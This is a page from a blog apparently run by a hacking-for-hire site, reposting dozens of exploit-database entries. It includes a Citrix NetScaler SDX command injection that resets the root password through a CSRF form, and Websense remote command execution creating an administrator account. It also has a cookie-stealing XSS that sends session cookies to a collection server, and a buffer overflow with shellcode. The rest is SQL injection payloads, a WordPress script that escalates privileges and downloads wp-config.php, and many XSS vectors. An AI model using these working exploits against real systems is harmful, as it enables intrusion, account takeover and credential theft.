Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863130975

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
Abstract


Securify discovered a command injection vulnerability in xen_hotfix page of the NITRO SDK. The attacker-supplied command is executed with elevated privileges (nsroot). This issue can be used to compromise of the entire Citrix SDX appliance and all underling application's and data.

Tested version


This issue was discovered in Citrix NetScaler SDX svm-10.5-50-1.9, other versions may also be affected.

Fix


Citrix reports that this vulnerability is fixed in NetScaler 10.5 build 52.3nc.

Introduction


The Citrix NetScaler SDX platform delivers fully isolated NetScaler instances running on a single appliance. Each instance is a full-blown NetScaler environment, which optimizes delivery of applications over the Internet and private networks. The NITRO SDK allows you to configure and monitor the NetScaler appliance programmatically. NITRO exposes its functionality through REST interfaces. A Cross-Site Scripting vulnerability was found in one of the REST services exposed by the NITRO SDK.

Administrators can upload XenServer hotfixes to the Citrix SDX appliance. The REST interface responsible for handling these hotfixes is vulnerable to command injection.

Details


This vulberability exists because the file_name parameter submitted to the /nitro/v1/config/xen_hotfix page used in a shell command without proper input validation/sanitation, introducing a command execution vulnerability. The shell command is executed with elevated privileges (nsroot), which allows attackers to run arbitrary commands with these privileges. This issue can be used to compromise of the entire Citrix SDX appliance and all underling application's and data.

The following proof of concept can be used to exploit this issue;
<html>
   <body>
      <form action="https://SDXHOSTIP/nitro/v1/config/xen_hotfix" method="POST">
         <input type="hidden" name="object" value="&#123;"params"&#58;&#123;"action"&#58;"start"&#125;&#44;"xen&#95;hotfix"&#58;&#91;&#123;"file&#95;name"&#58;"&#46;&#46;&#47;&#46;&#46;&#47;etc&#47;passwd&#59;echo&#32;nsroot&#58;Securify&#124;chpasswd&#59;"&#125;&#93;&#125;" />
         <input type="submit" value="Submit request" />
      </form>
      <script>document.forms[0].submit();</script>
   </body>
</html>



POST /nitro/v1/config/xen_hotfix HTTP/1.1
-----------------------------------------

object={"params"%3a{"action"%3a"start"}%2c"xen_hotfix"%3a[{"file_name"../../etc/passwd;reboot;"}]}

or

object={"params"%3a{"action"%3a"start"}%2c"xen_hotfix"%3a[{"file_name"%3a"../../etc/passwd;echo nsroot:han|chpasswd;"}]}


Due to insufficient Cross-Site Request Forgery protection, it is possible to exploit this issue by tricking a logged in admin user into visiting a specially crafted web page.
HireHackking 
source: https://www.securityfocus.com/bid/51027/info

The Opera Web browser is prone to multiple remote denial-of-service vulnerabilities and an unspecified vulnerability.

An attacker can exploit these issues to cause the affected application to crash, denying service to legitimate users.

Note: The impact of the unspecified vulnerability is not known. We will update this BID when more information emerges.

Versions prior to Opera Web Browser 11.60 are vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36443.zip
HireHackking 
source: https://www.securityfocus.com/bid/51031/info

flash-album-gallery plug-in for WordPress is prone to a cross-site-scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[path]/wp-content/plugins/flash-album-gallery/flagshow.php?pid=[xss]
HireHackking 
source: https://www.securityfocus.com/bid/51037/info

The Welcomizer plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

The Welcomizer 1.3.9.4 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/wp-content/plugins/the-welcomizer/twiz-index.php?page=[xss]
HireHackking

Fork CMS 3.1.5 - Multiple Cross-Site Scripting Vulnerabilities

HACKER · %s · %s

source: https://www.securityfocus.com/bid/51045/info Fork CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. Fork CMS 3.1.5 is vulnerable; other versions may also be affected. http://www.example.com/blog/detail/article?utm_source=feed&utm_medium=rss"><script>alert(&#039;xss&#039;)</script> http://www.example.com/search?form=search&q_widget=&submit="><script>alert(&#039;xss&#039;)</script> http://www.example.com/search?form=search&q_widget="><script>alert(&#039;xss&#039;)</script> http://www.example.com/search?form="><script>alert(&#039;xss&#039;)</script> http://www.example.com/private/en/users/edit?id=1"><script>alert(&#039;xss&#039;)</script> http://www.example.com/private/en/pages/edit?token=true&id=1"><script>alert(&#039;xss&#039;)</script> http://www.example.com/private/en/mailmotor/settings?token="><script>alert(&#039;xss&#039;)</script>
HireHackking

BrowserCRM 5.100.1 - 'parent_id' SQL Injection

HACKER · %s · %s

source: https://www.securityfocus.com/bid/51060/info Browser CRM is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Browser CRM 5.100.01 is vulnerable; prior versions may also be affected. http://www.example.com/modules/Documents/version_list.php?parent_id=1%20AND%201=2%20--%202
HireHackking

BrowserCRM 5.100.1 - URI Cross-Site Scripting

HACKER · %s · %s

source: https://www.securityfocus.com/bid/51060/info Browser CRM is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Browser CRM 5.100.01 is vulnerable; prior versions may also be affected. http://www.example.com/index.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E http://www.example.com/modules/admin/admin_module_index.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/ script%3E http://www.example.com/modules/calendar/customise_calendar_times.php/%22%3E%3Cscript%3Ealert%28document.cooki e%29;%3C/script%3E
HireHackking

BrowserCRM 5.100.1 - 'clients.php' Cross-Site Scripting

HACKER · %s · %s

source: https://www.securityfocus.com/bid/51060/info Browser CRM is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Browser CRM 5.100.01 is vulnerable; prior versions may also be affected. <form action="http://www.example.com/pub/clients.php" method="post"> <input type="hidden" name="loginwww.example.com" value=&#039;"><script>alert(1);</script>&#039;> <input type="hidden" name="login[username]" value=&#039;"><script>alert(2);</script>&#039;> <input type="hidden" name="login[password]" value=&#039;"><script>alert(3);</script>&#039;> <input type="hidden" name="login[webform]" value=&#039;"><script>alert(4);</script>&#039;> <input type="hidden" name="login[disable_email_check]" value=&#039;"><script>alert(5);</script>&#039;> <input type="hidden" name="login[client_email]" value=&#039;"><script>alert(6);</script>&#039;> <input type="hidden" name="login[client_password]" value=&#039;"><script>alert(7);</script>&#039;> <input type="submit" value="submit" id="btn"> </form>
HireHackking
source: www.securityfocus.com/bid/51069/info Nagios XI is prone to an HTML injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible. Nagios XI versions prior to 2011R1.9 are vulnerable. Reflected XSS ----- Page: /nagiosxi/login.php Variables: - PoCs: http://site/nagiosxi/login.php/";alert(&#039;0a29&#039;);" Details: The URL is copied into JavaScript variable &#039;backend_url&#039; in an unsafe manner Also affects: /nagiosxi/about/index.php /nagiosxi/about/index.php /nagiosxi/about/main.php /nagiosxi/account/main.php /nagiosxi/account/notifymethods.php /nagiosxi/account/notifymsgs.php /nagiosxi/account/notifyprefs.php /nagiosxi/account/testnotification.php /nagiosxi/help/index.php /nagiosxi/help/main.php /nagiosxi/includes/components/alertstream/go.php /nagiosxi/includes/components/alertstream/index.php /nagiosxi/includes/components/hypermap_replay/index.php /nagiosxi/includes/components/massacknowledge/mass_ack.php /nagiosxi/includes/components/xicore/recurringdowntime.php/ /nagiosxi/includes/components/xicore/status.php /nagiosxi/includes/components/xicore/tac.php /nagiosxi/reports/alertheatmap.php /nagiosxi/reports/availability.php /nagiosxi/reports/eventlog.php /nagiosxi/reports/histogram.php /nagiosxi/reports/index.php /nagiosxi/reports/myreports.php /nagiosxi/reports/nagioscorereports.php /nagiosxi/reports/notifications.php /nagiosxi/reports/statehistory.php /nagiosxi/reports/topalertproducers.php /nagiosxi/views/index.php /nagiosxi/views/main.php Page: /nagiosxi/account/ Variables: xiwindow PoCs: http://site/nagiosxi/account/?xiwindow="></iframe><script>alert(&#039;0a29&#039;)</script> Page: /nagiosxi/includes/components/massacknowledge/mass_ack.php Variables: - PoCs: http://site/nagiosxi/includes/components/massacknowledge/mass_ack.php/&#039;><script>alert("0a29")</script> Page: /nagiosxi/includes/components/xicore/status.php Variables: hostgroup, style PoCs: http://site/nagiosxi/includes/components/xicore/status.php?show=hostgroups&hostgroup=&#039;><script>alert("0a29")</script> http://site/nagiosxi/includes/components/xicore/status.php?show=hostgroups&hostgroup=all&style=><script>alert("0a29")</script> Page: /nagiosxi/includes/components/xicore/recurringdowntime.php Variables: - PoCs: http://site/nagiosxi/includes/components/xicore/recurringdowntime.php/&#039;;}}alert(&#039;0a29&#039;)</script> Page: /nagiosxi/reports/alertheatmap.php Variables: height, host, service, width PoCs: http://site/nagiosxi/reports/alertheatmap.php?height="><script>alert("0a29")</script> http://site/nagiosxi/reports/alertheatmap.php?host="><script>alert("0a29")</script> http://site/nagiosxi/reports/alertheatmap.php?service="><script>alert("0a29")</script> http://site/nagiosxi/reports/alertheatmap.php?width="><script>alert("0a29")</script> Page: /nagiosxi/reports/histogram.php Variable: service PoCs: http://site/nagiosxi/reports/histogram.php?service="><script>alert("0a29")</script> Page: /nagiosxi/reports/notifications.php Variables: host, service PoCs: http://site/nagiosxi/reports/notifications.php?host="><script>alert("0a29")</script> http://site/nagiosxi/reports/notifications.php?service="><script>alert("0a29")</script> Page: /nagiosxi/reports/statehistory.php Variables: host, service PoCs: http://site/nagiosxi/reports/statehistory.php?host="><script>alert("0a29")</script> http://site/nagiosxi/reports/statehistory.php?service="><script>alert("0a29")</script> Stored XSS ----- Page: /nagiosxi/reports/myreports.php Variable: title Details: It is possible to store XSS within &#039;My Reports&#039;, however it is believed this is only viewable by the logged-in user. 1) View a report and save it, e.g. http://site/nagiosxi/reports/myreports.php?add=1&title=Availability+Summary&url=%2Fnagiosxi%2Freports%2Favailability.php&meta_s=a%3A0%3A%7B%7D 2) Name the report with XSS, e.g. "><script>alert("0a29")</script>
HireHackking
source: https://www.securityfocus.com/bid/51085/info Websense Triton is prone to a cross-site scripting vulnerability. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. This issue affects the following applications: Websense Web Security Gateway Anywhere v7.6 Websense Web Security Gateway v7.6 Websense Web Security v7.6 Websense Web Filter v7.6 https://www.example.com/explorer_wse/detail.exe?c=cat&cat=153&anon=&startDate=2011-10-22&endDate=2011-10-22&session=a434cf98f3a402478599a71495a4a71e&dTitle=Internet_use_by_Category"><script>alert(document.cookie)</script>&section=1&uid=&col=1&cor=1&explorer=1&fork=1&puid=7360 Send the current session-cookies to a credentials-collection server: https://www.example.com/explorer_wse/detail.exe?c=cat&cat=153&anon=&startDate=2011-10-22&endDate=2011-10-22&session=a434cf98f3a402478599a71495a4a71e&dTitle=Internet_use_by_Category"><script>document.location=unescape("http://192.168.1.64/"%2bencodeURIComponent(document.cookie))</script>&section=1&uid=&col=1&cor=1&explorer=1&fork=1&puid=7360
HireHackking

Websense 7.6 Products - 'favorites.exe' Authentication Bypass

HACKER · %s · %s

source: https://www.securityfocus.com/bid/51087/info Multiple Websense products are prone to an authentication-bypass vulnerability. Remote attackers can exploit this issue to bypass the authentication mechanism and gain unauthorized access. The following Websense products are affected: Websense Web Security Gateway Anywhere 7.6 Websense Web Security Gateway 7.6 Websense Web Security 7.6 Websense Web Filter 7.6 https://www.example.com/explorer_wse/favorites.exe?startDate=2011-10-22&endDate=2011-10-23&action=def
HireHackking

Video Community Portal - 'userID' SQL Injection

HACKER · %s · %s

source: https://www.securityfocus.com/bid/51108/info Video Community Portal is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/videoportalneu/index.php?d=user&id=2â??a
HireHackking

Telescope 0.9.2 - Markdown Persistent Cross-Site Scripting

HACKER · %s · %s

# Exploit Title: Persistent XSS via Markdown on Telescope <= 0.9.2 # Date: Aug 22 2014 # Exploit Author: shubs # Vendor Homepage: http://www.telescopeapp.org/ # Software Link: https://github.com/TelescopeJS/Telescope # Version: <= 0.9.2 # CVE : CVE-2014-5144 Telescope 0.9.2 and below suffer from a persistent cross site scripting vulnerability due to the lack of input sanitisation and validation performed when parsing markdown user input. An authenticated user can include links, images, code blocks and more through markdown, in the form of comments, posts or replies and more. As an example, the following vectors below can be used in comments, posts or replies to trigger the XSS: [notmalicious](javascript:window.onerror=alert;throw%20document.cookie) [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) Once posted as comments, the above markdown is converted to links without any sanitisation. When such links are clicked, the vector is executed successfully. Screenshots: http://i.imgur.com/6SQgUYd.png http://i.imgur.com/6VeZasj.png
HireHackking

Free MP3 CD Ripper 2.6 - '.wav' Local Buffer Overflow

HACKER · %s · %s

#!/usr/bin/python #[+] Author: TUNISIAN CYBER #[+] Exploit Title: Free MP3 CD Ripper All versions Local Buffer Overflow #[+] Date: 20-03-2015 #[+] Type: Local Exploits #[+] Tested on: WinXp/Windows 7 Pro #[+] Vendor: http://www.commentcamarche.net/download/telecharger-34082200-free-mp3-cd-ripper #[+] Friendly Sites: sec4ever.com #[+] Twitter: @TCYB3R ## EDB Note: Didn't work with Windows 7. from struct import pack file="evilfile.wav" junk="\x41"*4112 eip = pack('<I',0x7C9D30D7) nops = "\x90" * 3 #Calc.exe Shellcode #POC:http://youtu.be/_uvHKonqO2g shellcode = ("\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e\x58\x31\x78" "\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3" "\xb4\xae\x7d\x02\xaa\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0\x27\xdd\x48\xfd" "\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8" "\x3b\x83\x8e\x83\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98\xf5" "\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61\xb6\x0e\x2f\x85\x19\x87" "\xb7\x78\x2f\x59\x90\x7b\xd7\x05\x7f\xe8\x7b\xca") writeFile = open (file, "w") writeFile.write(junk+eip+nops+shellcode) writeFile.close()
HireHackking

WordPress Plugin Marketplace 2.4.0 - Arbitrary File Download

HACKER · %s · %s

# Exploit Title: WP Marketplace 2.4.0 Arbitrary File Download # Date: 26-10-2014 # Software Link: https://wordpress.org/plugins/wpmarketplace/ # Exploit Author: Kacper Szurek # Contact: http://twitter.com/KacperSzurek # Website: http://security.szurek.pl/ # Category: webapps # CVE: CVE-2014-9013 and CVE-2014-9014 1. Description Anyone can run user defined function because of call_user_func. File: wpmarketplace\libs\cart.php function ajaxinit(){ if(isset($_POST['action']) && $_POST['action']=='wpmp_pp_ajax_call'){ if(function_exists($_POST['execute'])) call_user_func($_POST['execute'],$_POST); else echo __("function not defined!","wpmarketplace"); die(); } } http://security.szurek.pl/wp-marketplace-240-arbitrary-file-download.html 2. Proof of Concept $file = '../../../wp-config.php'; $url = 'http://wordpress-url/'; $user = 'userlogin'; $email = 'useremail@email.email'; $pass = 'password'; $cookie = "/cookie.txt"; $ckfile = dirname(__FILE__) . $cookie; $cookie = fopen($ckfile, 'w') or die("Cannot create cookie file"); // Register $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url.'?checkout_register=register'); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, array( 'register_form' => 'register', 'reg[user_login]' => $user, 'reg[user_email]' => $email, 'reg[user_pass]' => $pass )); $content = curl_exec($ch); if (!preg_match("/success/i", $content)) { die("Cannot register"); } // Log in curl_setopt($ch, CURLOPT_URL, $url.'wp-login.php'); curl_setopt($ch, CURLOPT_POSTFIELDS, array( 'log' => $user, 'pwd' => $pass, 'wp-submit' => 'Log%20In' )); $content = curl_exec($ch); if (!preg_match('/adminmenu/i', $content)) { die("Cannot login"); } // Add subscriber as plugin admin curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POSTFIELDS, array( 'action' => 'wpmp_pp_ajax_call', 'execute' => 'wpmp_save_settings', '_wpmp_settings[user_role][]' => 'subscriber' )); $content = curl_exec($ch); if (!preg_match('/Settings Saved Successfully/i', $content)) { die("Cannot set role"); } // Request noonce curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POSTFIELDS, array( 'action' => 'wpmp_pp_ajax_call', 'execute' => 'wpmp_front_add_product' )); $content = curl_exec($ch); preg_match('/name="__product_wpmp" value="([^"]+)"/i', $content, $nonce); if (strlen($nonce[1]) < 2) { die("Cannot get nonce"); } // Set file to download curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POSTFIELDS, array( '__product_wpmp' => $nonce[1], 'post_type' => 'wpmarketplace', 'id' => '123456', 'wpmp_list[base_price]' => '0', 'wpmp_list[file][]' => $file )); $content = curl_exec($ch); header("Location: ".$url."?wpmpfile=123456"); 3. Solution: Update to version 2.4.1 https://downloads.wordpress.org/plugin/wpmarketplace.2.4.1.zip
HireHackking

Pulse Pro 1.7.2 - Multiple Cross-Site Scripting Vulnerabilities

HACKER · %s · %s

source: https://www.securityfocus.com/bid/51056/info Pulse Pro is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. Pulse Pro 1.7.2 is vulnerable; other versions may also be affected. http://www.example.com/index.php?p=blocks&d="><script>alert(1)</script> http://www.example.com/index.php?p=edit-post&post_id="><script>alert(1)</script>
HireHackking

BrowserCRM 5.100.1 - 'contact_id' SQL Injection

HACKER · %s · %s

source: https://www.securityfocus.com/bid/51060/info Browser CRM is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Browser CRM 5.100.01 is vulnerable; prior versions may also be affected. http://www.example.com/modules/Documents/index.php?id=1&contact_id=1%27%20OR%20%271%27=%271
HireHackking

BrowserCRM 5.100.1 - 'framed' Cross-Site Scripting

HACKER · %s · %s

source: https://www.securityfocus.com/bid/51060/info Browser CRM is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Browser CRM 5.100.01 is vulnerable; prior versions may also be affected. http://www.example.com/licence/index.php?framed=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
HireHackking

BrowserCRM 5.100.1 - 'login[]' Cross-Site Scripting

HACKER · %s · %s

source: https://www.securityfocus.com/bid/51060/info Browser CRM is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Browser CRM 5.100.01 is vulnerable; prior versions may also be affected. <form action="http://www.example.com/index.php" method="post"> <input type="hidden" name="loginwww.example.com" value=&#039;"><script>alert(1);</script>&#039;> <input type="hidden" name="login[password]" value=&#039;"><script>alert(2);</script>&#039;> <input type="hidden" name="login[rebuild_cache]" value=&#039;"><script>alert(3);</script>&#039;> <input type="hidden" name="login[remember_me]" value=&#039;"><script>alert(4);</script>&#039;> <input type="hidden" name="login[skin]" value=&#039;"><script>alert(5);</script>&#039;> <input type="hidden" name="login[username]" value=&#039;"><script>alert(6);</script>&#039;> <input type="submit" value="submit" id="btn"> </form>
HireHackking

Owl Intranet Engine 1.00 - 'userid' Authentication Bypass

HACKER · %s · %s

source: https://www.securityfocus.com/bid/51076/info Owl Intranet Engine is prone to an authentication-bypass vulnerability. An attacker can exploit this issue to bypass the authentication process and gain administrative access to the application. Owl Intranet Engine 1.00 is affected; other versions may also be vulnerable. http://www.example.org/owl/admin/index.php?userid=1 http://www.example.org/owl/admin/index.php?userid=1&newuser http://www.example.org/owl/admin/index.php?userid=1&action=edituser&owluser=1
HireHackking

Websense 7.6 Triton - 'ws_irpt.exe' Remote Command Execution

HACKER · %s · %s

source: https://www.securityfocus.com/bid/51086/info Websense Triton is prone to a remote command-execution vulnerability. An attacker can exploit this issue to execute arbitrary commands with SYSTEM-level privileges. Successfully exploiting this issue will result in the complete compromise of affected computers. https://www.example.com/explorer_wse/ws_irpt.exe?&SendFile=echo.pdf%26net user administrator blah|
HireHackking

Flirt-Projekt 4.8 - 'rub' SQL Injection

HACKER · %s · %s

source: https://www.securityfocus.com/bid/51106/info Flirt-Projekt is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Flirt-Projekt 4.8 is vulnerable; other versions may also be affected. http://www.example.com/flirtportal/rub2_w.php?kontaktid=f6389d0eeabdb4aaf99f3c3c949dc793&rub=1â??a
HireHackking

Social Network Community 2 - 'userID' SQL Injection

HACKER · %s · %s

source: https://www.securityfocus.com/bid/51107/info Social Network Community is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Social Network Community 2 is vulnerable; other versions may also be affected. http://www.example.com/social2/user.php?userId=12'a
HireHackking

Joomla! Component Spider FAQ - SQL Injection

HACKER · %s · %s

################################################################################################## #Exploit Title : Joomla Spider FAQ component SQL Injection vulnerability #Author : Manish Kishan Tanwar AKA error1046 #Vendor Link : http://demo.web-dorado.com/spider-faq.html #Date : 21/03/2015 #Discovered at : IndiShell Lab #Love to : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,Incredible,Kishan Singh and ritu rathi #Discovered At : Indishell Lab ################################################################################################## //////////////////////// /// Overview: //////////////////////// joomla component Spider FAQ is not filtering data in theme and Itemid parameters and hence affected from SQL injection vulnerability /////////////////////////////// // Vulnerability Description: /////////////////////////////// vulnerability is due to theme and Itemid parameter //////////////// /// POC //// /////////////// POC image=http://oi57.tinypic.com/2rh1zk7.jpg SQL Injection in theme parameter ================================= Use error based double query injection with theme parameter Like error based double query injection for exploiting username ---> and(select 1 FROM(select count(*),concat((select (select concat(user(),0x27,0x7e)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- - Injected Link---> http://website.com/index.php?option=com_spiderfaq&view=spiderfaqmultiple&standcat=0&faq_cats=,2,3,&standcatids=&theme=4 and(select 1 FROM(select count(*),concat((select (select concat(user(),0x27,0x7e)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- - &searchform=1&expand=0&Itemid=109 SQL Injection in Itemid parameter ================================= Itemid Parameter is exploitable using xpath injection User extraction payload ------------------------ ' AND EXTRACTVALUE(6678,CONCAT(0x7e,(SELECT user() LIMIT 0,1),0x7e))-- - crafted URL---> http://localhostm/index.php?option=com_spiderfaq&view=spiderfaqmultiple&standcat=0&faq_cats=,2,3,&standcatids=&theme=4&searchform=1&expand=0&Itemid=109' AND EXTRACTVALUE(6678,CONCAT(0x7e,(SELECT user() LIMIT 0,1),0x7e))-- - Table extraction ----------------- ' and extractvalue(6678,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1),0x7e))-- - Crafted URL----> http://localhost/index.php?option=com_spiderfaq&view=spiderfaqmultiple&standcat=0&faq_cats=,2,3,&standcatids=&theme=4&searchform=1&expand=0&Itemid=109' and extractvalue(6678,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1),0x7e))-- - --==[[ Greetz To ]]==-- ############################################################################################ #Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba, #Silent poison India,Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad, #Hackuin,Alicks,mike waals,Suriya Prakash, cyber gladiator,Cyber Ace,Golden boy INDIA, #Ketan Singh,AR AR,saad abbasi,Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk,Bikash Dash ############################################################################################# --==[[Love to]]==-- # My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi, #Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Jagriti,Salty and Don(Deepika kaushik) --==[[ Special Fuck goes to ]]==-- <3 suriya Cyber Tyson <3
HireHackking
source: https://www.securityfocus.com/bid/51119/info PHP Booking Calendar is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. PHP Booking Calendar 10e is vulnerable; other versions may also be affected. http://www.example.com/cal/details_view.php?event_id=1&date=2011-12-01&view=month&loc=loc1&page_info_message=[XSS]